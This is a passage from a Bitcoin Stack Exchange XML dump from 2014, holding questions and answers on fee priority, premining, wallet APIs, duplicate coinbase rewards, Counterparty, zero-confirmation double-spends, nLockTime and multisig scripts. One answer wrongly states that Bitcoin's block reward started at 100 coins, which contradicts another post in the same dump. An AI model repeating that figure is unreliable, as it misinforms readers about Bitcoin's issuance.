0.5882352941176471&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one input was old dust and the other new and large (this looks free to me):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((0.00001*11000) + (1*1000)) = 1000.11 //priority&#xA;((2*148)+(2*34)+10) = 374 //bytes&#xA;1000.11 / 374 = 2.6740909090909093&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this explain how you can put a dust-input with a large-input to rescue dust?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the threshold of 0.576 change in the future and if so how will we find out?&lt;/p&gt;&#xA;" OwnerUserId="17044" LastEditorUserId="5406" LastEditDate="2017-06-20T06:51:32.183" LastActivityDate="2017-06-20T06:51:32.183" Title="Calculation for transaction input-output balling:" Tags="|transaction-fees|dust|coin-age-priority|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26906" PostTypeId="2" ParentId="26901" CreationDate="2014-06-11T05:41:50.590" Score="2" Body="&lt;p&gt;Premining just means you can mine at your own at a very low difficulty before normal users have connected to your network. The size of the reward is determined by the protocoll so you cant change it until the procotol allows it (For Bitcoin it halfs ever 210000 Block). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can mine with a few hashs per second for a week. For bitcoin you get  a block every 10 minutes getting a reward of 50 BTC. This will give you 1008 Blocks and 50400 Coins. If you now  let other people connect they will start mining and the difficulty will increase.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-11T05:41:50.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26908" PostTypeId="1" CreationDate="2014-06-11T09:05:39.230" Score="0" ViewCount="4219" Body="&lt;p&gt;Im wondering to know, what is use of &lt;strong&gt;Create wallet programitically Block chain API&lt;/strong&gt;  &lt;a href=&quot;https://blockchain.info/api/create_wallet&quot; rel=&quot;nofollow&quot;&gt;Block Chain api here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it will provide?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can i get the api code? Any tutorials ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i provide my website users to Create Block Chain wallet. And provide funds transfer?&lt;/p&gt;&#xA;" OwnerUserId="17010" LastEditorUserId="17010" LastEditDate="2014-06-11T09:17:42.777" LastActivityDate="2014-06-11T09:32:41.137" Title="what is Create wallet using blockchain api (PHP)" Tags="|blockchain|bitcoind|api|blockchain.info|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26909" PostTypeId="2" ParentId="26908" CreationDate="2014-06-11T09:32:41.137" Score="3" Body="&lt;p&gt;This API allows you to create a new Wallet on Blockchain.info. It's the same as if you are registering on the webside but programmatically. On Blockchain.info you can do all thing either of the website or programmatically, which can be very usefull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to call the api from PHP, you need to send a JSON-Request to &lt;a href=&quot;https://blockchain.info/api/v2/create_wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/v2/create_wallet&lt;/a&gt;. &lt;br&gt;For a tutorial of JSON-Request in PHP look &lt;a href=&quot;http://www.blog.magepsycho.com/sending-json-data-remote-server/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sending and receiving Payments you need to use this api:&lt;br&gt;&#xA;&lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/blockchain_wallet_api&lt;/a&gt;&lt;br&gt;&#xA;There are also some examples in PHP on this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info does not offer a referral programm, so there is no reward for providing new users.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-11T09:32:41.137" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26910" PostTypeId="1" AcceptedAnswerId="26912" CreationDate="2014-06-11T09:54:07.850" Score="5" ViewCount="659" Body="&lt;p&gt;This transaction is contained in two MainChain-Blocks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/e3bf3d07d4b0375638d5f1db5255fe07ba2c4cb067cd81b84ee974b6585fb468&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/e3bf3d07d4b0375638d5f1db5255fe07ba2c4cb067cd81b84ee974b6585fb468&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Blockexplorer there is a note of this anomaly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockexplorer.com/block/00000000000743f190a18c5577a3c2d2a1f610ae9601ac046a38084ccb7cd721&quot; rel=&quot;noreferrer&quot;&gt;https://blockexplorer.com/block/00000000000743f190a18c5577a3c2d2a1f610ae9601ac046a38084ccb7cd721&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand, those 50 BTC are lost because only one of the rewards can be redeemed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so there will never be 21 million Bitcoin available, because those, or more of this sort, are missing?&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="5406" LastEditDate="2016-04-10T10:14:00.123" LastActivityDate="2019-08-13T23:01:32.713" Title="Duplicated hash values in mining reward" Tags="|blockchain|hash|history|coinbase-transaction|transaction-id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26912" PostTypeId="2" ParentId="26910" CreationDate="2014-06-11T11:49:01.157" Score="7" Body="&lt;p&gt;This is a known bug in the early days of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was fixed by BIP-30 &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a discussion here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=216938&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=216938&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, 50+50 bitcoins are missed forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, there are much more missed bitcoins. For example, 2500 bitcoins were gone to nowhere &#xA;in block 0000000000000449ee5b94ba7a051caffff5c23d6a03335f6e20e3985b5ffa61&lt;/p&gt;&#xA;" OwnerUserId="15732" LastActivityDate="2014-06-11T11:49:01.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26914" PostTypeId="2" ParentId="25828" CreationDate="2014-06-11T13:42:41.287" Score="3" Body="&lt;p&gt;&lt;strong&gt;Colored coins&lt;/strong&gt; just &quot;mark&quot; coins with a &quot;color&quot;. This is done by using unused data space in the Bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Counterparty&lt;/strong&gt; on the other hand has:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the same functionality as colored coins&lt;/li&gt;&#xA;&lt;li&gt;decentralized asset trading with automatic order matching&lt;/li&gt;&#xA;&lt;li&gt;assets that can pay distributions (dividends)&lt;/li&gt;&#xA;&lt;li&gt;assets can be customized (divisibility, callback, locked or issueable, total amount, description)&lt;/li&gt;&#xA;&lt;li&gt;peer-to-peer betting&lt;/li&gt;&#xA;&lt;li&gt;contracts for difference&lt;/li&gt;&#xA;&lt;li&gt;BTC and XCP trading&lt;/li&gt;&#xA;&lt;li&gt;Is fully open-source, and built to support higher level applications. (Such as SWARM, Vennd, Xbet aka countersports, etc.)&lt;/li&gt;&#xA;&lt;li&gt;XCP, which is a scarce (2.6 mil) and deflationary currency inside Counterparty that makes many of its features possible. It is not mineable and supply doesn't increase.&lt;/li&gt;&#xA;&lt;li&gt;Counterwallet, which is a client-side web wallet that provides access to most Counterparty features.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18178" LastActivityDate="2014-06-11T13:42:41.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26915" PostTypeId="2" ParentId="24318" CreationDate="2014-06-11T13:46:08.867" Score="0" Body="&lt;p&gt;Counterparty is not an alt-coin. It is an extension of Bitcoin functionality. Assets can be bought and traded using BTC in Counterwallet. The Counterparty currency XCP, is not mineable, limited to 2.6 mil forever, and is only an intermediate for many features such as escrow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's more like a market for Bitcoin than an altcoin, I wish people would take the time to understand this...&lt;/p&gt;&#xA;" OwnerUserId="18178" LastActivityDate="2014-06-11T13:46:08.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26916" PostTypeId="2" ParentId="25304" CreationDate="2014-06-11T13:50:40.033" Score="0" Body="&lt;p&gt;Counterparty is not even an altcoin, it is entirely compatible with Bitcoin. In fact, BTC is a first class currency inside Counterparty, which provides a financial toolkit for a global market, betting, derivatives, contracts for difference, and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Counterparty actually runs on the Bitcoin blockchain, and can therefore be considered part of Bitcoin itself. It's like a symbiote that uses the unused data space in Bitcoin transactions to create a true free market for securities, derivatives, &quot;coins&quot;, crowdfunding, and anything people can come up with..&lt;/p&gt;&#xA;" OwnerUserId="18178" LastActivityDate="2014-06-11T13:50:40.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26917" PostTypeId="1" AcceptedAnswerId="28093" CreationDate="2014-06-11T15:39:20.853" Score="1" ViewCount="991" Body="&lt;p&gt;I installed p2pool on my server for triple merged mining - VTC, MON, PLX. Server is running smoothly, but I don'know how to setup my addreses in miner. I have read that you can add for example MON address in password field, but what if you mining more than two coins, where put the addresses?&lt;/p&gt;&#xA;" OwnerUserId="18531" LastEditorUserId="5406" LastEditDate="2016-01-22T22:29:06.467" LastActivityDate="2016-01-22T22:29:06.467" Title="p2pool merged mining" Tags="|p2pool|mining-reward|merged-mining|vertcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26918" PostTypeId="1" AcceptedAnswerId="26921" CreationDate="2014-06-11T15:55:41.770" Score="2" ViewCount="203" Body="&lt;p&gt;On the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin wiki&lt;/a&gt; its says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transactions need to have a priority above 57,600,000 to avoid the enforced limit (as of client version 0.3.21). This threshold is written in the code as COIN * 144 / 250, suggesting that the threshold represents a one day old, 1 btc coin (144 is the expected number of blocks per day) and a transaction size of 250 bytes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Meaning 1 BTC need 1 Day to become medium priority and will need no fees. On testnet I collected a few coins and checked the priority in bitcoin-qt client. It grows from low to low-medium to medium. Then it stops. While now on 570 confirmations it should be way higher than medium priority. Checking the bitcoin-qt &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/588fb4e82f0c3ade92646fdd6b325003be46f459/src/qt/coincontroldialog.cpp#L403&quot; rel=&quot;nofollow noreferrer&quot;&gt;sourceode&lt;/a&gt; there are more priorities deposited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I missed something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NgE2l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="5406" LastEditDate="2018-01-17T05:19:20.217" LastActivityDate="2018-01-17T05:19:20.217" Title="Priorities in Bitcoin-qt Client" Tags="|bitcoin-core|bitcoind|coin-age-priority|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26919" PostTypeId="5" CreationDate="2014-06-11T16:14:50.127" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-06-11T16:14:50.127" LastActivityDate="2014-06-11T16:14:50.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26920" PostTypeId="4" CreationDate="2014-06-11T16:14:50.127" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-06-11T16:14:50.127" LastActivityDate="2014-06-11T16:14:50.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26921" PostTypeId="2" ParentId="26918" CreationDate="2014-06-11T19:58:56.733" Score="3" Body="&lt;p&gt;The relevant source is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (AllowFree(dPriority)) // at least medium&#xA;{&#xA;    if      (AllowFree(dPriority / 1000000))  return tr(&quot;highest&quot;);&#xA;    else if (AllowFree(dPriority / 100000))   return tr(&quot;higher&quot;);&#xA;    else if (AllowFree(dPriority / 10000))    return tr(&quot;high&quot;);&#xA;    else if (AllowFree(dPriority / 1000))     return tr(&quot;medium-high&quot;);&#xA;    else                                      return tr(&quot;medium&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The label only changes to something higher than &quot;medium&quot; when the priority is at least 1000 times larger than the minimum. Your priority is large (I estimate 570/144 * 27 = 107 times the minimum), but it's not that large.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-06-11T19:58:56.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26925" PostTypeId="1" AcceptedAnswerId="26927" CreationDate="2014-06-12T01:53:29.893" Score="5" ViewCount="573" Body="&lt;p&gt;I downloaded and forked the Blackcoin source code. I changed all of the references to BlackCoin, changed the pszTimestamp string along with the current Unix timestamp. Then, I successfully mined the genesis block and put it, along with the merkle hash and the nNonce into the source code and recompiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wallet loads up just fine. The problem is, it says it ha 16 active connections to the network and sees 193k blocks it needs to download. In the debug.log file, theses are all orphan blocks. Also in the debug.log file, it is showing that it is trying to connect to what I assume are built in nodes somewhere in the BlackCoin source code. I cannot find these for the life of me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change this so that my coin knows the correct blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastActivityDate="2014-06-12T03:46:50.867" Title="Why is my new altcoin trying to connect to peers and sees almost 200k blocks remaining?" Tags="|blockchain|block|nodes|blackcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26926" PostTypeId="1" AcceptedAnswerId="26936" CreationDate="2014-06-12T02:16:19.633" Score="9" ViewCount="2374" Body="&lt;p&gt;I realize that if somebody makes a transaction without any fees and there have not yet been any confirmations, then the transaction could be double spent by just spending the same inputs to a different address, but with a standard fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, if somebody sends a transaction with a standard fee, and there have yet to be any confirmations, could that transaction be just as easily overridden by rewriting the transaction, but with a higher fee? If so, what would be the implications for a party that accepts zero confirmation transactions such as BitPay?&lt;/p&gt;&#xA;" OwnerUserId="13411" LastEditorUserId="15412" LastEditDate="2014-06-12T13:37:23.240" LastActivityDate="2016-11-26T07:09:33.287" Title="Could any standard fee transaction be double spent by using a higher fee?" Tags="|transaction-fees|doublespend|zero-confirmation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26927" PostTypeId="2" ParentId="26925" CreationDate="2014-06-12T03:46:50.867" Score="4" Body="&lt;p&gt;Every coin has some defined set of seed servers it can to connect to in order to build up the initial list of peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;static const char *strDNSSeed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ralphtheninja/blackcoin/blob/master/src/net.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ralphtheninja/blackcoin/blob/master/src/net.cpp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-06-12T03:46:50.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26928" PostTypeId="2" ParentId="26926" CreationDate="2014-06-12T05:54:10.267" Score="1" Body="&lt;p&gt;If a node receives a transactions it saves it. If you now send another transaction with the same input it rejects it, because there is already a transaction. So you cant double-spend this way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would send the second transaction with fees to a miner which does not received your first transaction, he would perhaps include it faster and therefore it would override the first transactions, still the first transactions cant be included in a new block because the output was already used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a merchant accepts 0-confirmation transactions, he has to accept that the transaction can be reversed. So he only should do that if he trusts you for more than the amount you transferred to him. &lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-12T05:54:10.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26929" PostTypeId="5" CreationDate="2014-06-12T06:25:32.837" Score="0" Body="&lt;p&gt;It is the total number of hashes that are expected to have been necessary to produce the current chain, in hexadecimal.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-17T10:59:48.297" LastActivityDate="2014-06-17T10:59:48.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26930" PostTypeId="4" CreationDate="2014-06-12T06:25:32.837" Score="0" Body="The chainwork value is the total amount of work in the chain." OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-17T10:59:21.030" LastActivityDate="2014-06-17T10:59:21.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26932" PostTypeId="1" AcceptedAnswerId="26946" CreationDate="2014-06-12T10:48:32.490" Score="3" ViewCount="435" Body="&lt;p&gt;I have compiled my-newcoin-qt and my-newcoind on different platforms (windows, Linux and Mac), with my coin specification based on litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run my-newcoin-qt at the first time, I get no error but the message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 Active Connections &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I do as the next step? Should I compile seeder software on VPS server? &lt;/p&gt;&#xA;" OwnerUserId="18190" LastEditorUserId="18190" LastEditDate="2014-06-18T14:16:45.983" LastActivityDate="2014-06-18T14:16:45.983" Title="0 Active Connection on my-new-coin" Tags="|client|development|network|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26933" PostTypeId="1" CreationDate="2014-06-12T11:55:52.270" Score="3" ViewCount="67" Body="&lt;p&gt;I have bitcoin in my transactions but it does not appear in my wallet.&#xA;It says updates stopped&lt;/p&gt;&#xA;" OwnerUserId="18192" LastActivityDate="2014-06-12T14:55:42.673" Title="On multibit how do I update my sending address?" Tags="|wallet|address|multibit|" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-16T21:20:13.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="26934" PostTypeId="1" CreationDate="2014-06-12T14:31:08.017" Score="3" ViewCount="895" Body="&lt;p&gt;Why is this page blank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/hub-nodes&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/hub-nodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I get a list of reliable peers and look at what fees they charge?&lt;/p&gt;&#xA;" OwnerUserId="17044" LastActivityDate="2014-06-13T18:54:59.613" Title="bitcoind hub-nodes" Tags="|nodes|peers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26935" PostTypeId="2" ParentId="26933" CreationDate="2014-06-12T14:55:42.673" Score="2" Body="&lt;p&gt;You can get the 'updates stopped' if MultiBit detects some other user or process has edited one of the MultiBit files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you close down MultiBit and restart it it reloads all files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is more help on if transactions don't appear in your wallet in the multibit.org help so also have a look through there.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-06-12T14:55:42.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26936" PostTypeId="2" ParentId="26926" CreationDate="2014-06-12T15:52:28.403" Score="5" Body="&lt;p&gt;The original design assumes a common behavior of processing the incoming transaction on &lt;strong&gt;FIFO basis&lt;/strong&gt;. That means the first transaction received by a miner wins and all conflicting transactions received after it will be ignored (no matter if the first one is already confirmed or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this &lt;strong&gt;standard behavior&lt;/strong&gt; is beneficial for the Network as a whole, some &lt;strong&gt;&lt;em&gt;&quot;smart&quot;&lt;/em&gt;&lt;/strong&gt; miners might employ a bit different approach: when building a block, always take the transaction with the highest fee, no matter the order in which it was received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might seem this is just a marginal misuse of the protocol and there won't be enough &lt;strong&gt;&lt;em&gt;rogue miners&lt;/em&gt;&lt;/strong&gt; doing this, so it doesn't matter. Well, unfortunately, there already is (at least) &lt;a href=&quot;http://www.bitundo.com/&quot; rel=&quot;nofollow&quot;&gt;one mining pool&lt;/a&gt; that tries to build its business exploiting this idea. Should it prevail, services accepting zero-confirmation transactions will need to reconsider their policy.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-06-12T15:52:28.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26937" PostTypeId="1" AcceptedAnswerId="26983" CreationDate="2014-06-12T16:03:34.030" Score="4" ViewCount="712" Body="&lt;p&gt;If nLockTime transactions aren't added to the blockchain until the nLockTime is met, then aren't they just being stored in memory of the miners and is there a risk they could get &quot;lost&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'm just wondering how a long term nLockTime transaction can really persist. If I set it for 1 year in the future, and everyone restarts their node at some point during that time, isn't there a chance the transaction get's lost? Or would this require all nodes restarting simultaneously? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Or are nLockTime transactions just held off network by the interested parties and then broadcast once nLockTime is reached? I read some things about DOS attacks with nLockTime transactions leading me to think that miners would not bother storing these at all in memory.&lt;/p&gt;&#xA;" OwnerUserId="16926" LastEditorUserId="16926" LastEditDate="2014-06-13T02:17:33.463" LastActivityDate="2014-06-16T18:19:50.993" Title="nLockTime transactions, how do they persist? Are they broadcast before they are valid?" Tags="|transactions|locktime|mempool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26938" PostTypeId="5" CreationDate="2014-06-12T17:20:03.247" Score="0" Body="&lt;p&gt;Defines the block number or timestamp until this transaction is locked, or 0 if the transaction is always locked.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-07-22T04:11:09.660" LastActivityDate="2014-07-22T04:11:09.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26939" PostTypeId="4" CreationDate="2014-06-12T17:20:03.247" Score="0" Body="Defines the block number or timestamp until this transaction is locked, or 0 if the transaction is always locked." OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-17T10:59:12.420" LastActivityDate="2014-06-17T10:59:12.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26940" PostTypeId="1" AcceptedAnswerId="26941" CreationDate="2014-06-12T17:32:58.160" Score="3" ViewCount="146" Body="&lt;p&gt;Let's say that 7 users want to spend money from a Bitcoin multisig address. The approval of funds from this address requires the signatures of A (the leader), either B or C (two managers), and 2 of 4 members of a board of investors (D, E, F, G). So if A, B, D, &amp;amp; G all submit their signatures then the transaction should be considered valid. However, even if B, C, D, E, F, and G all submit their signatures, A can veto by not submitting his/her signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the Bitcoin protocol currently support advanced transactions like this or does it only support basic M-of-N addresses/transactions?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-07-22T02:10:10.067" Title="Advanced Bitcoin Transactions" Tags="|transactions|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26941" PostTypeId="2" ParentId="26940" CreationDate="2014-06-12T18:58:01.877" Score="2" Body="&lt;p&gt;This should be possible by having several checks happen in one script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a normal pay-to-address script looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;pubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a normal multisig, say for 2-of-3, looks like this (format is a little different from above):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;format: [byte value] [meaning]&#xA;52 OP_2, meaning you need two signatures&#xA;41 push 65 bytes&#xA;[pubkey 1]&#xA;41 push 65 bytes&#xA;[pubkey 2]&#xA;41 push 65 bytes&#xA;[pubkey 3]&#xA;53 OP_3, meaning there are three public keys&#xA;ae OP_CHECKMULTISIG described at https://en.bitcoin.it/wiki/Script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And we want to have three checks: A must have signed, 1-of-(B and C) must have signed, and 2-of-(D, E, F, G) must have signed. So we chain it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;pubKeyHash A&amp;gt; OP_EQUALVERIFY OP_CHECKSIGVERIFY&#xA;OP_1 &amp;lt;pubkey B&amp;gt; &amp;lt;pubkey C&amp;gt; OP_2 OP_CHECKMULTISIGVERIFY&#xA;OP_2 &amp;lt;pubkey D&amp;gt; &amp;lt;pubkey E&amp;gt; &amp;lt;pubkey F&amp;gt; &amp;lt;pubkey G&amp;gt; OP_4 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And hash that script to have something easy to send to (&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Pay-to-Script-Hash&quot; rel=&quot;nofollow&quot;&gt;pay-to-script-hash&lt;/a&gt;). Note the use of the VERIFY variants in the first two checks and the ordinary one in the last. If you look at the meaning of &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;these OP codes&lt;/a&gt; and the fact that a valid transaction needs to end with a non-zero value, the correctness of this should be clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'd be a good idea to try this out on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;testnet&lt;/a&gt; before using it in a real transaction, so that you don't wind up with unspendable (or spendable-by-anyone) bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-12T19:06:23.837" LastActivityDate="2014-06-12T19:06:23.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26942" PostTypeId="1" AcceptedAnswerId="26947" CreationDate="2014-06-12T20:37:43.513" Score="5" ViewCount="970" Body="&lt;p&gt;Everything seems to be going well creating my altcoin for fun. I forked the BlackCoin source on Ubuntu, successfully mined a genesis block, recompiled. I bought a droplet over on digitalocean running Ubuntu 12.04, compiled my *coind from source, and ran it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that worked because my *coin-qt on my local computer had 0 connections before, now it has 1, and my *coind getconnectioncount on my droplet reports 1 connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my problem, my client *coin-qt says there are 80000 blocks remaining. Of course, it is stuck on block 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this and start mining?&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="5406" LastEditDate="2016-04-17T20:14:16.823" LastActivityDate="2016-04-17T20:14:16.823" Title="Created genesis block and set up node. How to mine?" Tags="|miner-configuration|altcoin-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26944" PostTypeId="2" ParentId="26882" CreationDate="2014-06-12T21:31:11.547" Score="3" Body="&lt;p&gt;The amount of bitcoins is not set by a hard coded limit, but indirectly through the rules of Bitcoin's reward schedule.&lt;br&gt;&#xA;Bitcoin's reward started out at 100 bitcoins per block, and halves every 210,000 blocks (approximately four years) until the block reward drops to less than a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/117/5406&quot;&gt;satoshi&lt;/a&gt; when it just stops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, Dogecoin's reward will only halve five times.&lt;br&gt;&#xA;Then instead of halving again, it will go to a flat reward of 10k dogecoins indefinitely starting from Block 600,001. Therefore, it will continue to grow slowly without limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see my answer here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/19867/5406&quot;&gt;Reward schedule and maximum number of dogecoins?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" 